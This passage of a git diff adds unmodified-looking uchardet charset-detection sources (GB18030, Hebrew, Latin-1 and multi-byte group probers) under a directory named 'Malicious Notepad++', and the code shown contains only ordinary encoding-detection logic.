c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +// for S-JIS encoding, obeserve characteristic: +// 1, kana character (or hankaku?) often have hight frequency of appereance +// 2, kana character often exist in group +// 3, certain combination of kana is never used in japanese language + +#include "nsGB2312Prober.h" + +void nsGB18030Prober::Reset(void) +{ + mCodingSM->Reset(); + mState = eDetecting; + mDistributionAnalyser.Reset(mIsPreferredLanguage); + //mContextAnalyser.Reset(); +} + +nsProbingState nsGB18030Prober::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsSMState codingState; + + for (PRUint32 i = 0; i < aLen; i++) + { + codingState = mCodingSM->NextState(aBuf[i]); + if (codingState == eItsMe) + { + mState = eFoundIt; + break; + } + if (codingState == eStart) + { + PRUint32 charLen = mCodingSM->GetCurrentCharLen(); + + if (i == 0) + { + mLastChar[1] = aBuf[0]; + mDistributionAnalyser.HandleOneChar(mLastChar, charLen); + } + else + mDistributionAnalyser.HandleOneChar(aBuf+i-1, charLen); + } + } + + mLastChar[0] = aBuf[aLen-1]; + + if (mState == eDetecting) + if (mDistributionAnalyser.GotEnoughData() && GetConfidence() > SHORTCUT_THRESHOLD) + mState = eFoundIt; +// else +// mDistributionAnalyser.HandleData(aBuf, aLen); + + return mState; +} + +float nsGB18030Prober::GetConfidence(void) +{ + float distribCf = mDistributionAnalyser.GetConfidence(); + + return (float)distribCf; +} + diff --git a/Malicious Notepad++/src/uchardet/nsGB2312Prober.h b/Malicious Notepad++/src/uchardet/nsGB2312Prober.h new file mode 100644 index 0000000..4bdac3b --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsGB2312Prober.h @@ -0,0 +1,76 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsGB2312Prober_h__ +#define nsGB2312Prober_h__ + +#include "nsCharSetProber.h" +#include "nsCodingStateMachine.h" +#include "CharDistribution.h" + +// We use gb18030 to replace gb2312, because 18030 is a superset. + +class nsGB18030Prober: public nsCharSetProber { +public: + nsGB18030Prober(PRBool aIsPreferredLanguage) + :mIsPreferredLanguage(aIsPreferredLanguage) + {mCodingSM = new nsCodingStateMachine(&GB18030SMModel); + Reset();} + virtual ~nsGB18030Prober(void){delete mCodingSM;} + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return "gb18030";} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +protected: + void GetDistribution(PRUint32 aCharLen, const char* aStr); + + nsCodingStateMachine* mCodingSM; + nsProbingState mState; + + //GB2312ContextAnalysis mContextAnalyser; + GB2312DistributionAnalysis mDistributionAnalyser; + char mLastChar[2]; + PRBool mIsPreferredLanguage; + +}; + + +#endif /* nsGB2312Prober_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsHebrewProber.cpp b/Malicious Notepad++/src/uchardet/nsHebrewProber.cpp new file mode 100644 index 0000000..b148ce3 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsHebrewProber.cpp @@ -0,0 +1,194 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Shy Shalom + * Portions created by the Initial Developer are Copyright (C) 2005 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsHebrewProber.h" +#include + +// windows-1255 / ISO-8859-8 code points of interest +#define FINAL_KAF ('\xea') +#define NORMAL_KAF ('\xeb') +#define FINAL_MEM ('\xed') +#define NORMAL_MEM ('\xee') +#define FINAL_NUN ('\xef') +#define NORMAL_NUN ('\xf0') +#define FINAL_PE ('\xf3') +#define NORMAL_PE ('\xf4') +#define FINAL_TSADI ('\xf5') +#define NORMAL_TSADI ('\xf6') + +// Minimum Visual vs Logical final letter score difference. +// If the difference is below this, don't rely solely on the final letter score distance. +#define MIN_FINAL_CHAR_DISTANCE (5) + +// Minimum Visual vs Logical model score difference. +// If the difference is below this, don't rely at all on the model score distance. +#define MIN_MODEL_DISTANCE (0.01) + +#define VISUAL_HEBREW_NAME ("ISO-8859-8") +#define LOGICAL_HEBREW_NAME ("windows-1255") + +PRBool nsHebrewProber::isFinal(char c) +{ + return ((c == FINAL_KAF) || (c == FINAL_MEM) || (c == FINAL_NUN) || (c == FINAL_PE) || (c == FINAL_TSADI)); +} + +PRBool nsHebrewProber::isNonFinal(char c) +{ + return ((c == NORMAL_KAF) || (c == NORMAL_MEM) || (c == NORMAL_NUN) || (c == NORMAL_PE)); + // The normal Tsadi is not a good Non-Final letter due to words like + // 'lechotet' (to chat) containing an apostrophe after the tsadi. This + // apostrophe is converted to a space in FilterWithoutEnglishLetters causing + // the Non-Final tsadi to appear at an end of a word even though this is not + // the case in the original text. + // The letters Pe and Kaf rarely display a related behavior of not being a + // good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' for + // example legally end with a Non-Final Pe or Kaf. However, the benefit of + // these letters as Non-Final letters outweighs the damage since these words + // are quite rare. +} + +/** HandleData + * Final letter analysis for logical-visual decision. + * Look for evidence that the received buffer is either logical Hebrew or + * visual Hebrew. + * The following cases are checked: + * 1) A word longer than 1 letter, ending with a final letter. This is an + * indication that the text is laid out "naturally" since the final letter + * really appears at the end. +1 for logical score. + * 2) A word longer than 1 letter, ending with a Non-Final letter. In normal + * Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, should not end with + * the Non-Final form of that letter. Exceptions to this rule are mentioned + * above in isNonFinal(). This is an indication that the text is laid out + * backwards. +1 for visual score + * 3) A word longer than 1 letter, starting with a final letter. Final letters + * should not appear at the beginning of a word. This is an indication that + * the text is laid out backwards. +1 for visual score. + * + * The visual score and logical score are accumulated throughout the text and + * are finally checked against each other in GetCharSetName(). + * No checking for final letters in the middle of words is done since that case + * is not an indication for either Logical or Visual text. + * + * The input buffer should not contain any white spaces that are not (' ') + * or any low-ascii punctuation marks. + */ +nsProbingState nsHebrewProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + // Both model probers say it's not them. No reason to continue. + if (GetState() == eNotMe) + return eNotMe; + + const char *curPtr, *endPtr = aBuf+aLen; + char cur; + + for (curPtr = (char*)aBuf; curPtr < endPtr; ++curPtr) + { + cur = *curPtr; + if (cur == ' ') // We stand on a space - a word just ended + { + if (mBeforePrev != ' ') // *(curPtr-2) was not a space so prev is not a 1 letter word + { + if (isFinal(mPrev)) // case (1) [-2:not space][-1:final letter][cur:space] + ++mFinalCharLogicalScore; + else if (isNonFinal(mPrev)) // case (2) [-2:not space][-1:Non-Final letter][cur:space] + ++mFinalCharVisualScore; + } + } + else // Not standing on a space + { + if ((mBeforePrev == ' ') && (isFinal(mPrev)) && (cur != ' ')) // case (3) [-2:space][-1:final letter][cur:not space] + ++mFinalCharVisualScore; + } + mBeforePrev = mPrev; + mPrev = cur; + } + + // Forever detecting, till the end or until both model probers return eNotMe (handled above). + return eDetecting; +} + +// Make the decision: is it Logical or Visual? +const char* nsHebrewProber::GetCharSetName() +{ + // If the final letter score distance is dominant enough, rely on it. + PRInt32 finalsub = mFinalCharLogicalScore - mFinalCharVisualScore; + if (finalsub >= MIN_FINAL_CHAR_DISTANCE) + return LOGICAL_HEBREW_NAME; + if (finalsub <= -(MIN_FINAL_CHAR_DISTANCE)) + return VISUAL_HEBREW_NAME; + + // It's not dominant enough, try to rely on the model scores instead. + float modelsub = mLogicalProb->GetConfidence() - mVisualProb->GetConfidence(); + if (modelsub > MIN_MODEL_DISTANCE) + return LOGICAL_HEBREW_NAME; + if (modelsub < -(MIN_MODEL_DISTANCE)) + return VISUAL_HEBREW_NAME; + + // Still no good, back to final letter distance, maybe it'll save the day. + if (finalsub < 0) + return VISUAL_HEBREW_NAME; + + // (finalsub > 0 - Logical) or (don't know what to do) default to Logical. + return LOGICAL_HEBREW_NAME; +} + + +void nsHebrewProber::Reset(void) +{ + mFinalCharLogicalScore = 0; + mFinalCharVisualScore = 0; + + // mPrev and mBeforePrev are initialized to space in order to simulate a word + // delimiter at the beginning of the data + mPrev = ' '; + mBeforePrev = ' '; +} + +nsProbingState nsHebrewProber::GetState(void) +{ + // Remain active as long as any of the model probers are active. + if ((mLogicalProb->GetState() == eNotMe) && (mVisualProb->GetState() == eNotMe)) + return eNotMe; + return eDetecting; +} + +#ifdef DEBUG_chardet +void nsHebrewProber::DumpStatus() +{ + printf(" HEB: %d - %d [Logical-Visual score]\r\n", mFinalCharLogicalScore, mFinalCharVisualScore); +} +#endif diff --git a/Malicious Notepad++/src/uchardet/nsHebrewProber.h b/Malicious Notepad++/src/uchardet/nsHebrewProber.h new file mode 100644 index 0000000..eedfed4 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsHebrewProber.h @@ -0,0 +1,176 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Shy Shalom + * Portions created by the Initial Developer are Copyright (C) 2005 + * the Initial Developer: All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsHebrewProber_h__ +#define nsHebrewProber_h__ + +#include "nsSBCharSetProber.h" + +// This prober doesn't actually recognize a language or a charset. +// It is a helper prober for the use of the Hebrew model probers +class nsHebrewProber: public nsCharSetProber +{ +public: + nsHebrewProber(void) :mLogicalProb(0), mVisualProb(0) { Reset(); } + + virtual ~nsHebrewProber(void) {} + virtual nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + virtual const char* GetCharSetName(); + virtual void Reset(void); + + virtual nsProbingState GetState(void); + + virtual float GetConfidence(void) { return (float)0.0; } + virtual void SetOpion() {} + + void SetModelProbers(nsCharSetProber *logicalPrb, nsCharSetProber *visualPrb) + { mLogicalProb = logicalPrb; mVisualProb = visualPrb; } + +#ifdef DEBUG_chardet + virtual void DumpStatus(); +#endif + +protected: + static PRBool isFinal(char c); + static PRBool isNonFinal(char c); + + PRInt32 mFinalCharLogicalScore, mFinalCharVisualScore; + + // The two last characters seen in the previous buffer. + char mPrev, mBeforePrev; + + // These probers are owned by the group prober. + nsCharSetProber *mLogicalProb, *mVisualProb; +}; + +/** + * ** General ideas of the Hebrew charset recognition ** + * + * Four main charsets exist in Hebrew: + * "ISO-8859-8" - Visual Hebrew + * "windows-1255" - Logical Hebrew + * "ISO-8859-8-I" - Logical Hebrew + * "x-mac-hebrew" - ?? Logical Hebrew ?? + * + * Both "ISO" charsets use a completely identical set of code points, whereas + * "windows-1255" and "x-mac-hebrew" are two different proper supersets of + * these code points. windows-1255 defines additional characters in the range + * 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific + * diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6. + * x-mac-hebrew defines similar additional code points but with a different + * mapping. + * + * As far as an average Hebrew text with no diacritics is concerned, all four + * charsets are identical with respect to code points. Meaning that for the + * main Hebrew alphabet, all four map the same values to all 27 Hebrew letters + * (including final letters). + * + * The dominant difference between these charsets is their directionality. + * "Visual" directionality means that the text is ordered as if the renderer is + * not aware of a BIDI rendering algorithm. The renderer sees the text and + * draws it from left to right. The text itself when ordered naturally is read + * backwards. A buffer of Visual Hebrew generally looks like so: + * "[last word of first line spelled backwards] [whole line ordered backwards + * and spelled backwards] [first word of first line spelled backwards] + * [end of line] [last word of second line] ... etc' " + * adding punctuation marks, numbers and English text to visual text is + * naturally also "visual" and from left to right. + * + * "Logical" directionality means the text is ordered "naturally" according to + * the order it is read. It is the responsibility of the renderer to display + * the text from right to left. A BIDI algorithm is used to place general + * punctuation marks, numbers and English text in the text. + * + * Texts in x-mac-hebrew are almost impossible to find on the Internet. From + * what little evidence I could find, it seems that its general directionality + * is Logical. + * + * To sum up all of the above, the Hebrew probing mechanism knows about two + * charsets: + * Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are + * backwards while line order is natural. For charset recognition purposes + * the line order is unimportant (In fact, for this implementation, even + * word order is unimportant). + * Logical Hebrew - "windows-1255" - normal, naturally ordered text. + * + * "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be + * specifically identified. + * "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew + * that contain special punctuation marks or diacritics is displayed with + * some unconverted characters showing as question marks. This problem might + * be corrected using another model prober for x-mac-hebrew. Due to the fact + * that x-mac-hebrew texts are so rare, writing another model prober isn't + * worth the effort and performance hit. + * + * *** The Prober *** + * + * The prober is divided between two nsSBCharSetProbers and an nsHebrewProber, + * all of which are managed, created, fed data, inquired and deleted by the + * nsSBCSGroupProber. The two nsSBCharSetProbers identify that the text is in + * fact some kind of Hebrew, Logical or Visual. The final decision about which + * one is it is made by the nsHebrewProber by combining final-letter scores + * with the scores of the two nsSBCharSetProbers to produce a final answer. + * + * The nsSBCSGroupProber is responsible for stripping the original text of HTML + * tags, English characters, numbers, low-ASCII punctuation characters, spaces + * and new lines. It reduces any sequence of such characters to a single space. + * The buffer fed to each prober in the SBCS group prober is pure text in + * high-ASCII. + * The two nsSBCharSetProbers (model probers) share the same language model: + * Win1255Model. + * The first nsSBCharSetProber uses the model normally as any other + * nsSBCharSetProber does, to recognize windows-1255, upon which this model was + * built. The second nsSBCharSetProber is told to make the pair-of-letter + * lookup in the language model backwards. This in practice exactly simulates + * a visual Hebrew model using the windows-1255 logical Hebrew model. + * + * The nsHebrewProber is not using any language model. All it does is look for + * final-letter evidence suggesting the text is either logical Hebrew or visual + * Hebrew. Disjointed from the model probers, the results of the nsHebrewProber + * alone are meaningless. nsHebrewProber always returns 0.00 as confidence + * since it never identifies a charset by itself. Instead, the pointer to the + * nsHebrewProber is passed to the model probers as a helper "Name Prober". + * When the Group prober receives a positive identification from any prober, + * it asks for the name of the charset identified. If the prober queried is a + * Hebrew model prober, the model prober forwards the call to the + * nsHebrewProber to make the final decision. In the nsHebrewProber, the + * decision is made according to the final-letters scores maintained and Both + * model probers scores. The answer is returned in the form of the name of the + * charset identified, either "windows-1255" or "ISO-8859-8". + * + */ +#endif /* nsHebrewProber_h__ */ diff --git a/Malicious Notepad++/src/uchardet/nsLatin1Prober.cpp b/Malicious Notepad++/src/uchardet/nsLatin1Prober.cpp new file mode 100644 index 0000000..7694ef7 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsLatin1Prober.cpp @@ -0,0 +1,182 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsLatin1Prober.h" +#include "prmem.h" +#include + +#define UDF 0 // undefined +#define OTH 1 //other +#define ASC 2 // ascii capital letter +#define ASS 3 // ascii small letter +#define ACV 4 // accent capital vowel +#define ACO 5 // accent capital other +#define ASV 6 // accent small vowel +#define ASO 7 // accent small other +#define CLASS_NUM 8 // total classes + +static const unsigned char Latin1_CharToClass[] = +{ + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 00 - 07 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 08 - 0F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 10 - 17 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 18 - 1F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 20 - 27 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 28 - 2F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 30 - 37 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 38 - 3F + OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, // 40 - 47 + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, // 48 - 4F + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, // 50 - 57 + ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, // 58 - 5F + OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, // 60 - 67 + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, // 68 - 6F + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, // 70 - 77 + ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, // 78 - 7F + OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, // 80 - 87 + OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, // 88 - 8F + UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // 90 - 97 + OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, // 98 - 9F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // A0 - A7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // A8 - AF + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // B0 - B7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, // B8 - BF + ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, // C0 - C7 + ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, // C8 - CF + ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, // D0 - D7 + ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, // D8 - DF + ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, // E0 - E7 + ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, // E8 - EF + ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, // F0 - F7 + ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, // F8 - FF +}; + + +/* 0 : illegal + 1 : very unlikely + 2 : normal + 3 : very likely +*/ +static const unsigned char Latin1ClassModel[] = +{ +/* UDF OTH ASC ASS ACV ACO ASV ASO */ +/*UDF*/ 0, 0, 0, 0, 0, 0, 0, 0, +/*OTH*/ 0, 3, 3, 3, 3, 3, 3, 3, +/*ASC*/ 0, 3, 3, 3, 3, 3, 3, 3, +/*ASS*/ 0, 3, 3, 3, 1, 1, 3, 3, +/*ACV*/ 0, 3, 3, 3, 1, 2, 1, 2, +/*ACO*/ 0, 3, 3, 3, 3, 3, 3, 3, +/*ASV*/ 0, 3, 1, 3, 1, 1, 1, 3, +/*ASO*/ 0, 3, 1, 3, 1, 1, 3, 3, +}; + +void nsLatin1Prober::Reset(void) +{ + mState = eDetecting; + mLastCharClass = OTH; + for (int i = 0; i < FREQ_CAT_NUM; i++) + mFreqCounter[i] = 0; +} + + +nsProbingState nsLatin1Prober::HandleData(const char* aBuf, PRUint32 aLen) +{ + char *newBuf1 = 0; + PRUint32 newLen1 = 0; + + if (!FilterWithEnglishLetters(aBuf, aLen, &newBuf1, newLen1)) { + newBuf1 = (char*)aBuf; + newLen1 = aLen; + } + + unsigned char charClass; + unsigned char freq; + for (PRUint32 i = 0; i < newLen1; i++) + { + charClass = Latin1_CharToClass[(unsigned char)newBuf1[i]]; + freq = Latin1ClassModel[mLastCharClass*CLASS_NUM + charClass]; + if (freq == 0) { + mState = eNotMe; + break; + } + mFreqCounter[freq]++; + mLastCharClass = charClass; + } + + if (newBuf1 != aBuf) + PR_FREEIF(newBuf1); + + return mState; +} + +float nsLatin1Prober::GetConfidence(void) +{ + if (mState == eNotMe) + return 0.01f; + + float confidence; + PRUint32 total = 0; + for (PRInt32 i = 0; i < FREQ_CAT_NUM; i++) + total += mFreqCounter[i]; + + if(!total) + confidence = 0.0f; + else + { + confidence = mFreqCounter[3]*1.0f / total; + confidence -= mFreqCounter[1]*20.0f/total; + } + + if (confidence < 0.0f) + confidence = 0.0f; + + // lower the confidence of latin1 so that other more accurate detector + // can take priority. + confidence *= 0.50f; + + return confidence; +} + +#ifdef DEBUG_chardet +void nsLatin1Prober::DumpStatus() +{ + printf(" Latin1Prober: %1.3f [%s]\r\n", GetConfidence(), GetCharSetName()); +} +#endif + + diff --git a/Malicious Notepad++/src/uchardet/nsLatin1Prober.h b/Malicious Notepad++/src/uchardet/nsLatin1Prober.h new file mode 100644 index 0000000..5145e96 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsLatin1Prober.h @@ -0,0 +1,70 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsLatin1Prober_h__ +#define nsLatin1Prober_h__ + +#include "nsCharSetProber.h" + +#define FREQ_CAT_NUM 4 + +class nsLatin1Prober: public nsCharSetProber { +public: + nsLatin1Prober(void){Reset();} + virtual ~nsLatin1Prober(void){} + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return "windows-1252";} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +#ifdef DEBUG_chardet + virtual void DumpStatus(); +#endif + +protected: + + nsProbingState mState; + char mLastCharClass; + PRUint32 mFreqCounter[FREQ_CAT_NUM]; +}; + + +#endif /* nsLatin1Prober_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsMBCSGroupProber.cpp b/Malicious Notepad++/src/uchardet/nsMBCSGroupProber.cpp new file mode 100644 index 0000000..4fafb13 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsMBCSGroupProber.cpp @@ -0,0 +1,231 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * Proofpoint, Inc. + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include + +#include "nsMBCSGroupProber.h" +#include "nsUniversalDetector.h" + +#if defined(DEBUG_chardet) || defined(DEBUG_jgmyers) +const char *ProberName[] = +{ + "UTF8", + "SJIS", + "EUCJP", + "GB18030", + "EUCKR", + "Big5", + "EUCTW", +}; + +#endif + 